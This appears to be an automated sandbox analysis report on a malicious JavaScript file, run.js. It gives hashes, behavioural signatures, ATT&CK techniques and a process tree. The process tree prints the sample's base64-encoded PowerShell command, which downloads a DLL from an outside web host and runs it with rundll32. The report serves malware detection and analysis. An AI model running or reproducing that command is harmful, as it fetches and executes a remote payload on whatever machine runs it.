c7246f2f802c8d017fdc1efbc6fb845d7175854140cd055c859e9e5da0cc33fe

Analysis

max time kernel
144s
max time network
127s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
14/03/2023, 15:12

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General

Target

run.js
Size

42KB
MD5

213faecc641aad1a2b64714054adb61d
SHA1

6f293b7c46ea6d1419172378903661502c37982c
SHA256

c7246f2f802c8d017fdc1efbc6fb845d7175854140cd055c859e9e5da0cc33fe
SHA512

2fe498e54599a8c79f91e1e99a6ed7181e2cabdf46f7a32de2d2caf267c2a2af33d3007b84b043a43228f1130efd42e0852177835d333ffc2a954d38c4bf9362
SSDEEP

768:ID2IHpyO0kefdnhYnLg+iLcQpHPGLP4ay4d4Sw8nnsW1DADlyP9w0eyDtHSSp:ID2IHpyO0kefcg+ipPSustHSSp

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
20	3744	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3744	powershell.exe
3744	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3744	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2712 wrote to memory of 3744	2712	wscript.exe	86
PID 2712 wrote to memory of 3744	2712	wscript.exe	86
PID 3744 wrote to memory of 4748	3744	powershell.exe	91
PID 3744 wrote to memory of 4748	3744	powershell.exe	91

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\run.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAGgAdAB0AHAAcwA6AC8ALwBpAHMAaABhAHMAbgBhAGMAawBzAC4AYwBvAG0ALwBzAEUAUgAvAHQAIAAtAE8AIAAkAGUAbgB2ADoAVABFAE0AUABcAGMAaABvAG4AZAByAG8AcwBhAHIAYwBvAG0AYQB0AG8AdQBzAFIAZQBmAG8AcgBtAGEAYgBsAGUALgBkAGwAbAA7AHMAdABhAHIAdAAgAHIAdQBuAGQAbABsADMAMgAgACQAZQBuAHYAOgBUAEUATQBQAFwAXABjAGgAbwBuAGQAcgBvAHMAYQByAGMAbwBtAGEAdABvAHUAcwBSAGUAZgBvAHIAbQBhAGIAbABlAC4AZABsAGwALABYAFMAOAA4ADsA"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3744
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\\chondrosarcomatousReformable.dll XS88
    3⤵
    PID:4748

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ief4fwbe.da3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3744-133-0x0000023F79330000-0x0000023F79352000-memory.dmp

Filesize
136KB

Download
memory/3744-143-0x0000023F76500000-0x0000023F76510000-memory.dmp

Filesize
64KB

Download
memory/3744-144-0x0000023F76500000-0x0000023F76510000-memory.dmp

Filesize
64KB

Download
memory/3744-145-0x0000023F76500000-0x0000023F76510000-memory.dmp

Filesize
64KB

Download